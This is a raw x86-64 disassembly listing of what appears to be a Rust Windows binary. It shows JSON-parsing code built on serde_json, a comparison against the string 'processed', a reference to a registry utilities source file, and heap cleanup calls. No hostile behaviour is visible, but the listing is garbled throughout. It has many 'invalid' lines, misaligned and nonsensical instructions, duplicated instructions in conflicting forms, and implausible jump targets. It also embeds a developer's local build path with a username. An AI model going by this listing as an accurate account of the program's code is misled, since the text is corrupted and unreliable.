mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov rax, rcx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
test rcx, rcx
je 0x14002bf2a
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x190], rax
nop
add dword [rax], eax
add cl, ch
in eax, 5
add byte [rax], al
nop
add dword [rax], eax
add cl, ch
in eax, 5
add byte [rax], al
mov rax, qword [rbx]
mov eax, dword [rbx]
movabs rcx, 0x65737365636f7270
xor rax, rcx
movzx ecx, byte [rbx + 8]
xor rcx, 0x64
or rcx, rax
je 0x14002bb6e
lea rcx, [rsp + 0x90]
call fcn.140005840
test rax, rax
jne 0x14002bccc
mov qword [rsp + 0xa0], 0
movzx eax, byte [rsp + 0xc8]
enter 0, 0
movabs al, byte [0xf00000000000000]
mov dh, 0x84
and al, 0xc8
enter 0, 0
xor r13d, r13d
enter 0, 0
xor r13d, r13d
test al, al
je 0x14002b630
movzx ebx, byte [rsp + 0xc9]
lea rcx, [rsp + 0x90]
jmp 0x14002b669
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add bl, ch
cmp dword [rcx + rcx*4 - 0xf], ecx
mov rcx, r14
lea rdx, [rsp + 0xa8]
call section..text
xchg esp, eax
and al, 0xa8
add byte [rax], al
add al, ch
rcr byte [rcx - 3], 0xff
movzx eax, byte [rsp + 0x60]
test eax, eax
lea rcx, [rsp + 0x90]
jne 0x14002bed5
or byte [rax], 0
invalid
or byte [rax], 0
add byte [rdi], cl
mov dh, 0x5c
and al, 0x61
movzx ebx, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], bl
pushfq
and al, 0xc9
add byte [rax], al
invalid
pushfq
and al, 0xc9
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc3
movzx eax, bl
cmp al, 0x2d
ja 0x14002b6af
movabs rcx, 0x100002600
add byte es:[rax], al
add dword [rax], eax
add byte [rax], al
bt rcx, rax
jae case.0x14002739f.65
mov byte [rsp + 0xc8], 0
add byte [rax], al
add byte [rax], al
jmp 0x14002b630
cmp rax, 0x22
je 0x14002b775
invalid
add byte [rax - 0x7d], cl
clc
sub eax, 0x248c8d48
nop
add byte [rax], al
add byte [rbp + 0xd], dh
invalid
cmp rax, 0x2d
lea rcx, [rsp + 0x90]
jne 0x14002b6af
invalid
or eax, 0xc82484c6
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
jmp 0x14002b798
add eax, 0xffffffa5
cmp eax, 0x20
ja case.0x14002b6c9.92
lea rdx, [0x1400ef618]
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
add rax, rdx
jmp rax
invalid
movzx r8d, r13b
and r8d, 1
mov rax, qword [rsp + 0x98]
mov eax, dword [rsp + 0x98]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
movabs al, byte [0x394cd02948000000]
invalid
mov rdx, qword [rsp + 0xa0]
sub rax, rdx
sub eax, edx
movabs al, byte [0x394cd02948000000]
ror byte [rdi], 0x82
invalid
sbb al, 3
add byte [rax], al
sub eax, edx
cmp rax, r8
jb 0x14002ba0b
invalid
test r13b, 1
vpcmpeqb xmm10, xmm15, xmmword [rsi]
je 0x14002b70b
invalid
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov byte [rax + rdx], cl
inc rdx
invalid
ret 0x8948
mov qword [rsp + 0xa0], rdx
mov byte [rsp + 0xc8], 0
mov dword [rsp + 0x12c], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x14002b7e9
invalid
test byte [rax + rcx*8], ah
add byte [rax], al
jmp 0x14002b7e9
mov byte [rsp + 0xc8], 0
add byte [rax], al
add byte [rax], al
mov r8d, 4
mov eax, 4
lea rdx, [0x1400b0dce]
jmp 0x14002b76e
mov byte [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
mov r8d, 3
lea rdx, str.ullruealseC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcde.rs
push rsi
or byte [rax], al
push rsi
or byte [rax], al
jmp 0x14002b76e
mov byte [rsp + 0xc8], 0
mov r8d, 3
lea rdx, [0x1400b0dcb]
call fcn.140004ae0
jmp 0x14002b79d
mov byte [rsp + 0xc8], 0
lea rcx, [rsp + 0xa8]
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
invalid
mov cl, 0xfe
invalid
jmp 0x14002b79d
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
invalid
add bl, 0xd0
cmp bl, 0xa
jae 0x14002c1f9
invalid
or al, byte [rax]
invalid
invalid
call fcn.1400051e0
test rax, rax
jne 0x14002bccc
add byte [rax], al
add byte [rax], al
mov al, 1
mov dword [rsp + 0x12c], eax
test r13b, 1
je 0x14002b7bf
movzx ebx, byte [rsp + 0x100]
jmp 0x14002b7e9
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14002bbb1
lea rcx, [rax - 1]
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rsp + 0x90]
movzx ebx, byte [rcx + rax - 1]
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x100], bl
test al, al
sete cl
test cl, 1
jne 0x14002b80f
movzx ecx, byte [rsp + 0xc9]
jmp 0x14002b91c
mov byte [rsp + 0x108], 0
jmp 0x14002b830
mov rdx, qword [rsp + 0xa8]
mov r9d, 1
mov rcx, r14
mov r8, r15
call fcn.140082610
cmp qword [rsp + 0x60], 0
je case.default.0x14002b869
mov rbx, qword [rsp + 0x68]
mov eax, ebx
and eax, 3
lea rcx, [0x1400ef69c]
lea ecx, [0x1400ef69c]
lea ecx, [0x1400ef69c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
nop dword [rax + rax]
cmp byte [rbx + 0xf], 0x23
jne case.0x14002b1d0.2
mov r13, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rcx, r13
jmp 0xc34acf98
jle 0x14002b8a3
invalid
je 0x14002b8b7
jmp 0xc34acf98
cmp qword [rsi + 0x10], 0x11
jb 0x14002b8a9
mov r13, qword [r13 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call rdi
invalid
dec rbx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call rdi
jmp 0x14002b830
dec dword [rax - 0x7d]
jl 0x14002b8f5
cmp qword [rsp + 0x68], 0
je 0x14002be62
push 0xffffffff89840f00
add eax, 0xb60f0000
mov word [rax + rcx], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add byte [rax], al
movzx ecx, byte [rsp + 0x108]
mov rax, qword [rsp + 0xb8]
add byte [rax - 1], cl
invalid
cmp cl, 0xa
jne 0x14002b903
add byte [rax - 1], cl
rol byte [rax + 0x12750af9], 0x48
add dword [rsp + 0xc0], eax
inc qword [rsp + 0xb0]
xor eax, eax
mov qword [rsp + 0xb8], rax
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
rol byte [rax], 0
add byte [rax - 1], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0xb8
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], cl
add byte [rax], al
mov al, 1
movzx edx, cl
cmp dl, 0x2c
ja case.0x140075d15.221
movabs r8, 0x100002600
bt r8, rdx
jae 0x14002b94e
mov byte [rsp + 0xc8], 0
mov cl, 1
xor eax, eax
test cl, 1
jne 0x14002b80f
cmp rdx, 0x2c
je 0x14002b9de
cli
sub al, 0xf
test byte [rsi - 0x7d000000], al
cmp edx, 0x5d
cmp edx, 0x5d
je 0x14002b96e
cmp edx, 0x7d
jne 0x14002b9cf
add byte [rbx + 0x74], bh
or al, 0xeb
invalid
cmp byte [rsp + 0x100], 0x5b
jne 0x14002b9cf
add byte [rbx + 0x75], bl
push rdi
mov byte [rsp + 0xc8], 0
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14002bbb1
lea rcx, [rax - 1]
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rsp + 0x90]
add byte [rdi], cl
mov dh, 0x44
add edi, edi
dec dword [rax - 0x77]
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rdi], cl
mov dh, 0x44
add edi, edi
mov byte [rsp + 0x100], al
mov al, 1
mov dword [rsp + 0x12c], eax
add byte [rax], al
add byte [rax], al
xor eax, eax
test al, al
sete cl
test cl, 1
je 0x14002b802
invalid
jmp 0x14002b80f
je 0x14002b9f4
mov byte [rsp + 0xc8], 0
xor eax, eax
mov r13b, 1
cmp byte [rsp + 0x100], 0x7b
mov esp, 0x10024
add byte [rbx + 0xf], bh
invalid
invalid
cld
invalid
invalid
mov esp, 0x10024
add byte [rbx + 0xf], bh
test dword [0xc502ba02], edx
inc dword [rax + rax*8 + 0x1ceb4f75]
call fcn.1400ab0a0
inc dword [rax + rax*8 + 0x1ceb4f75]
test al, al
jne 0x14002ba58
call fcn.1400ab0a0
mov rdx, qword [rsp + 0xa0]
test r13b, 1
jne 0x14002b6f5
invalid
invalid
movabs al, byte [0xf01c5f641000000]
test ebx, edx
cld
invalid
jmp 0x14002b70b
mov rcx, r14
lea rdx, [rsp + 0xa8]
add byte [rax], al
add byte [rax], al
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002bee5
movzx ecx, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], cl
cmp cl, 0x22
ja 0x14002bf17
movzx eax, cl
movabs rcx, 0x100002600
bt rcx, rax
invalid
invalid
jae 0x14002ba7e
movabs dword [0xc82484c60a73c1], eax
add byte [rax], al
add bl, ch
test eax, 0x22f88348
clc
invalid
mov byte [rsp + 0xc8], 0
jmp 0x14002ba27
cmp rax, 0x22
clc
and cl, byte [rdi]
test dword [rdi - 0x39fffffc], ecx
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
jne 0x14002bf17
mov byte [rsp + 0xc8], 0
lea rcx, [rsp + 0xa8]
call fcn.140016890
test rax, rax
jne 0x14002bccc
cmp byte [rsp + 0xc8], 0
je 0x14002baba
movzx eax, byte [rsp + 0xc9]
jmp 0x14002baeb
mov rcx, r14
lea rdx, [rsp + 0xa8]
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002bee5
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
cmp al, 0x3a
ja 0x14002c059
movzx eax, al
movabs rcx, 0x100002600
bt rcx, rax
jae 0x14002bb10
mov byte [rsp + 0xc8], 0
jmp 0x14002baba
cmp rax, 0x3a
jne 0x14002c059
mov byte [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
xor eax, eax
jmp 0x14002b61a
cmp byte [rsp + 0x47], 2
jne 0x14002c218
lea rsi, [rsp + 0x90]
mov rcx, rsi
nop
add byte [rax], al
add byte [rax - 0x77], cl
int1
call fcn.140005840
test rax, rax
jne 0x14002bccc
mov rcx, r14
mov rdx, rsi
call fcn.1400176a0
cmp byte [rsp + 0x60], 0
jne 0x14002beb9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x47], al
jmp 0x14002bbb1
cmp byte [rsp + 0x5f], 2
jne 0x14002c207
lea rsi, [rsp + 0x90]
mov rcx, rsi
call fcn.140005840
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
cmp al, byte [rcx]
add byte [rax], al
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
cmp al, byte [rcx]
add byte [rax], al
mov rcx, r14
mov rdx, rsi
call fcn.1400176a0
cmp byte [rsp + 0x60], 0
jne 0x14002beb9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x5f], al
mov al, 1
mov qword [rsp + 0x100], rax
movzx eax, byte [rsp + 0xc8]
test al, al
jne 0x14002b17a
cmc
invalid
invalid
cmc
invalid
jmp 0x14002b29a
dec byte [rsp + 0xd0]
mov rbp, qword [rsp + 0xf8]
mov ebp, dword [rsp + 0xf8]
mov ebp, dword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
je 0x14002bd51
test byte [rcx + rax], ah
invalid
add byte [rax], al
add byte [rdi], cl
test byte [rcx + rax], ah
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
invalid
mov byte [rsp + 0xc8], 0
add byte [rax - 0x77], cl
pushfq
and al, 8
add dword [rax], eax
add dh, al
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rcx], al
mov qword [rsp + 0x108], rbx
mov byte [rsp + 0x110], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.140014480
cmp byte [rsp + 0x60], 0
movzx edi, byte [rsp + 0x61]
mov bpl, 2
jne 0x14002bc9d
cmp dil, 2
je 0x14002bd98
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.140014480
cmp byte [rsp + 0x60], 0
and al, 0x60
add byte [rbp + 0x54], dh
invalid
and al, 0x60
add byte [rbp + 0x54], dh
movzx r12d, byte [rsp + 0x61]
cmp r12b, 2
je 0x14002be5b
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.140014480
cmp byte [rsp + 0x60], 0
jne 0x14002bc9d
movzx ebx, byte [rsp + 0x61]
cmp bl, 2
je 0x14002bec3
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x108]
call fcn.140014480
cmp byte [rsp + 0x60], 0
and al, 0x60
add byte [rdi], cl
test byte [rdx], al
add dword [rax], eax
invalid
invalid
and al, 0x60
add byte [rdi], cl
test byte [rdx], al
add dword [rax], eax
add byte [rax - 0x75], cl
pop rsp
and al, 0x68
mov rbx, qword [rsp + 0x68]
inc byte [rsp + 0xd0]
cmp byte [rsp + 0xc8], 0
je 0x14002c634
or dword [rax], eax
invalid
and al, 0xd0
add byte [rax], al
add byte [rax + 0xc824bc], al
add byte [rax], al
add byte [rdi], cl
test byte [rbp + 9], bh
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0xc9
add byte [rax], al
add cl, ch
invalid
movzx eax, byte [rsp + 0xc9]
jmp 0x14002c65e
mov rcx, rbx
call fcn.1400adc10
mov rbx, rax
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
mov rax, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov dil, 2
test r8, r8
je 0x14002bd07
test rax, rax
je 0x14002bd07
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
inc byte [rsp + 0xd0]
cmp byte [rsp + 0xc8], 0
je 0x14002ca16
movzx eax, byte [rsp + 0xc9]
jmp 0x14002ca40
mov qword [rsp + 0x60], 5
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
jmp 0x14002b053
mov qword [rsp + 0x60], 0x18
mov rdx, qword [rsp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov rdi, rax
jmp 0x14002b05e
lea r8, [0x1400b2438]
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0xf7]
call fcn.1400a80f0
mov rbx, rax
jmp 0x14002c490
xor ecx, ecx
jmp 0x14002bec8
mov byte [rsp + 0x47], bl
movzx esi, byte [rsp + 0x61]
cmp sil, 2
je 0x14002bf3a
mov rbx, qword [rsp + 0x108]
lea r14, [rbx + 0x18]
cmp byte [rbx + 0x38], 0
je 0x14002c4c0
movzx eax, byte [rbx + 0x39]
jmp 0x14002c4e6
cmp byte [rsp + 0x47], 2
je 0x14002bf71
cmp byte [rsp + 0x5f], 2
je 0x14002bf7a
cmp byte [rsp + 0x5e], 2
je 0x14002bf88
cmp byte [rsp + 0x8f], 2
je 0x14002bf96
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x14002bfb7
and byte [rsp + 0x47], 1
and byte [rsp + 0x5f], 1
and byte [rsp + 0x5e], 1
movzx edi, byte [rsp + 0x8f]
and dil, 1
mov rbp, qword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
mov r12, qword [rsp + 0x50]
jmp 0x14002bd07
mov qword [rsp + 0x60], 5
jmp 0x14002bf52
mov ecx, 1
jmp 0x14002bec8
mov eax, 2
cmp byte [rsp + 0x100], 0x5b
je 0x14002be87
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
jmp 0x14002bfa7
mov qword [rsp + 0x60], 3
jmp 0x14002bf52
mov rbx, qword [rsp + 0x68]
jmp 0x14002bccf
mov ecx, 2
call fcn.1400a8c30
mov rbx, rax
jmp 0x14002bca2
cmp eax, 2
jne 0x14002bef5
mov qword [rsp + 0x60], 5
jmp 0x14002be8c
cmp eax, 2
jne 0x14002bef5
mov qword [rsp + 0x60], 3
jmp 0x14002be8c
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
jmp 0x14002bfa7
movzx eax, al
cmp eax, 0x7d
jne 0x14002bf17
mov qword [rsp + 0x60], 0x15
jmp 0x14002bf52
mov qword [rsp + 0x60], 0x11
jmp 0x14002bf52
mov rbx, rax
mov dil, 2
jmp 0x14002bf35
mov dil, 2
mov r12, qword [rsp + 0x50]
mov rbx, r12
jmp 0x14002bfd6
mov ecx, 3
call fcn.1400a8c30
jmp 0x14002c4b0
mov qword [rsp + 0x60], 8
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
jmp 0x14002bccc
lea rcx, [0x1400bb73a]
jmp 0x14002bf8f
lea rcx, [0x1400bb741]
mov edx, 9
jmp 0x14002bfa2
lea rcx, [0x1400bb74a]
mov edx, 7
jmp 0x14002bfa2
lea rcx, [0x1400bb751]
mov edx, 4
call fcn.1400a8bc0
mov rbx, rax
mov rbp, qword [rsp + 0xf8]
jmp 0x14002bccf
lea rcx, [0x1400bb755]
mov edx, 6
call fcn.1400a8bc0
mov rbx, rax
mov dil, 2
mov rbp, qword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
jmp 0x14002bd07
mov ecx, 1
mov edx, 7
call fcn.1400a9e00
ud2
mov ecx, 8
mov edx, 8
call fcn.1400a9e00
ud2
mov qword [rsp + 0x60], 6
jmp 0x14002bf52
mov ecx, 1
mov edx, 9
call fcn.1400a9e00
ud2
mov al, 2
jmp 0x14002c2dc
mov ecx, 1
mov edx, 4
call fcn.1400a9e00
ud2
mov ecx, 1
mov edx, 6
call fcn.1400a9e00
ud2
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x133], ecx
mov dword [rsp + 0x130], eax
xor eax, eax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], rbx
mov byte [rsp + 0xa8], al
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x133]
mov dword [rsp + 0xa9], eax
mov dword [rsp + 0xac], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x14002c395
mov qword [rsp + 0x60], 0xa
jmp 0x14002bf52
lea rcx, [0x1400bb741]
mov edx, 9
jmp 0x14002c32c
lea rcx, [0x1400bb73a]
jmp 0x14002c327
lea rcx, [0x1400bb755]
mov edx, 6
call fcn.1400a8cd0
mov rbx, rax
cmp qword [rsp + 0x50], 0
je 0x14002c254
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0xf8]
lea rsi, [rsp + 0xa8]
movabs r15, 0x100002600
mov dil, 2
jmp 0x14002bd07
lea rcx, [0x1400bb751]
mov edx, 4
jmp 0x14002c32c
mov rdi, rax
mov rax, qword [rax]
cmp rax, 1
je 0x14002c3bc
test rax, rax
jne 0x14002c41c
cmp qword [rdi + 0x10], 0
je 0x14002c41c
mov r8, qword [rdi + 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
jmp 0x14002c416
mov al, 2
jmp 0x14002c353
mov eax, dword [r13]
mov ecx, dword [r13 + 3]
mov dword [rsp + 0x10b], ecx
mov dword [rsp + 0x108], eax
xor eax, eax
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], r15
mov qword [rsp + 0xa0], rbx
mov byte [rsp + 0xa8], al
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [rsp + 0xa9], eax
mov dword [rsp + 0xac], ecx
lea rax, str.srcutilities_registry.rs
jmp 0x14002c395
lea rcx, [0x1400bb74a]
mov edx, 7
call fcn.1400a8cd0
jmp 0x14002bccc
lea rcx, [rsp + 0xa9]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x133], ecx
mov dword [rsp + 0x130], eax
xor eax, eax
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r15
mov byte [rsp + 0xa8], al
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x133]
mov dword [rsp + 0xa9], eax
mov dword [rsp + 0xac], ecx
lea rax, str.srcutilities_registry.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400b1270]
lea r8, [rsp + 0x90]
mov edx, 0x2b
call fcn.1400aa430
ud2
mov rax, qword [rdi + 8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x14002c41c
test rcx, rcx
je 0x14002c41c
lea rsi, [rax - 1]
mov rbx, qword [rax - 1]
mov r14, qword [rax + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14002c40a
cmp qword [r14 + 0x10], 0x11
jb 0x14002c3f8
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x1400e6808]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400b1230]
lea r8, [rsp + 0xf7]
mov edx, 0x37
call fcn.1400aa430
ud2
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
mov rcx, rbx
call fcn.1400a87d0
mov rdi, rax
jmp 0x14002b05e
mov rbx, rax
lea rsi, [rsp + 0xa8]
jmp 0x14002bca2
lea rcx, [rsp + 0x60]
mov rdx, r14
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c59f
movzx eax, byte [rsp + 0x61]
mov byte [rbx + 0x38], 1
mov byte [rbx + 0x39], al
movzx ecx, al
cmp cl, 0x2c
ja 0x14002c54c
bt r15, rcx
jae 0x14002c4fa
mov byte [rbx + 0x38], 0
jmp 0x14002c4c0
cmp rcx, 0x2c
jne 0x14002c54c
mov r13, r15
cmp byte [rsp + 0x110], 0
jne 0x14002c56a
mov byte [rbx + 0x38], 0
lea r15, [rsp + 0x60]
mov rcx, r15
mov rdx, r14
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c5d3
movzx eax, byte [rsp + 0x61]
mov byte [rbx + 0x38], 1
mov byte [rbx + 0x39], al
cmp rax, 0x20
ja 0x14002c566
bt r13, rax
jae 0x14002c566
mov byte [rbx + 0x38], 0
jmp 0x14002c516
mov r13, r15
cmp ecx, 0x5d
je 0x14002c5fa
cmp byte [rsp + 0x110], 0
je 0x14002c606
cmp al, 0x5d
je 0x14002c5e3
lea rcx, [rsp + 0x60]
mov rdx, rbx
call fcn.140017410
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x14002c595
movups xmm0, xmmword [rsp + 0x68]
movaps xmmword [rsp + 0x130], xmm0
mov ebp, esi
jmp 0x14002c624
mov rbx, qword [rsp + 0x68]
jmp 0x14002c624
cmp eax, 2
jne 0x14002c5c4
mov qword [rsp + 0x60], 2
mov rdx, qword [rbx + 0x20]
mov r8, qword [rbx + 0x28]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
jmp 0x14002c4b0
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
jmp 0x14002c4b0
cmp eax, 2
jne 0x14002c5ee
mov qword [rsp + 0x60], 5
jmp 0x14002c60f
mov qword [rsp + 0x60], 0x15
jmp 0x14002c60f
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
jmp 0x14002c621
mov ecx, 4
call fcn.1400a8c30
jmp 0x14002c621
mov qword [rsp + 0x60], 7
mov rdx, qword [rbx + 0x20]
mov r8, qword [rbx + 0x28]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov rbx, rax
lea rsi, [rsp + 0xa8]
mov r15, r13
jmp 0x14002bca2
lea rcx, [rsp + 0x60]
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c679
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
movzx eax, al
cmp al, 0x2c
ja 0x14002c71f
bt r15, rax
jae 0x14002c6b8
mov byte [rsp + 0xc8], 0
jmp 0x14002c634
cmp eax, 2
jne 0x14002c6a9
mov qword [rsp + 0x60], 2
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov r14, rax
jmp 0x14002c733
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
mov r14, rax
jmp 0x14002c733
cmp rax, 0x2c
jne 0x14002c71f
mov r13, r15
mov byte [rsp + 0xc8], 0
lea r14, [rsp + 0x60]
mov rcx, r14
lea rdx, [rsp + 0xa8]
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c7e3
movzx r15d, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], r15b
cmp r15, 0x20
ja 0x14002c867
bt r13, r15
jae 0x14002c867
mov byte [rsp + 0xc8], 0
jmp 0x14002c6ce
cmp eax, 0x5d
jne 0x14002c7d5
mov byte [rsp + 0xc8], 0
xor r14d, r14d
mov qword [rsp + 0x60], rbx
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x78], dil
mov byte [rsp + 0x79], r12b
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x7a], al
mov byte [rsp + 0x7b], bpl
mov qword [rsp + 0x80], r14
cmp bpl, 2
jne 0x14002c78d
mov dil, 2
test r14, r14
mov rbp, qword [rsp + 0xf8]
je 0x14002c788
lea rcx, [rsp + 0x80]
call fcn.14000b540
jmp 0x14002c8c5
mov edi, ebp
mov r12, qword [rsp + 0x68]
test r14, r14
mov rbp, qword [rsp + 0xf8]
je 0x14002c7c0
mov dil, 2
test r12, r12
je 0x14002c7bb
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002c8b8
mov eax, dword [rsp + 0x77]
mov dword [rsp + 0x15f], eax
mov rax, qword [rsp + 0x70]
jmp 0x14002c8bd
mov qword [rsp + 0x60], 0x16
jmp 0x14002c687
cmp eax, 2
jne 0x14002c7ff
mov byte [rsp + 0x10a], r15b
mov word [rsp + 0x108], 0
mov sil, 1
jmp 0x14002c81b
mov rcx, qword [rsp + 0x68]
call fcn.1400adc10
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x108], 1
xor esi, esi
mov qword [rsp + 0x60], 0x16
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov r14, rax
test sil, sil
lea rsi, [rsp + 0xa8]
mov r15, r13
jne 0x14002c733
lea rcx, [rsp + 0x110]
call fcn.14000b540
jmp 0x14002c733
mov byte [rsp + 0x10a], r15b
mov word [rsp + 0x108], 0x100
mov sil, 1
cmp r15b, 0x5d
jne 0x14002c81b
mov qword [rsp + 0x60], 0x15
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [rsp + 0x60]
call fcn.1400adb90
mov r14, rax
lea rsi, [rsp + 0xa8]
mov r15, r13
jmp 0x14002c733
mov rbx, r14
jmp 0x14002c8c5
mov qword [rsp + 0x158], rax
cmp dil, 2
je 0x14002c490
mov eax, dword [rsp + 0x15f]
mov dword [rsp + 0x187], eax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x180], rax
cmp byte [rsp + 0xc8], 0
je 0x14002c901
movzx eax, byte [rsp + 0xc9]
jmp 0x14002c92b
lea rcx, [rsp + 0x60]
mov rdx, rsi
call section..text
movzx eax, byte [rsp + 0x60]
test eax, eax
jne 0x14002c94a
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], al
cmp al, 0x20
ja 0x14002c9d0
movzx eax, al
bt r15, rax
jae 0x14002c9d0
mov byte [rsp + 0xc8], 0
jmp 0x14002c901
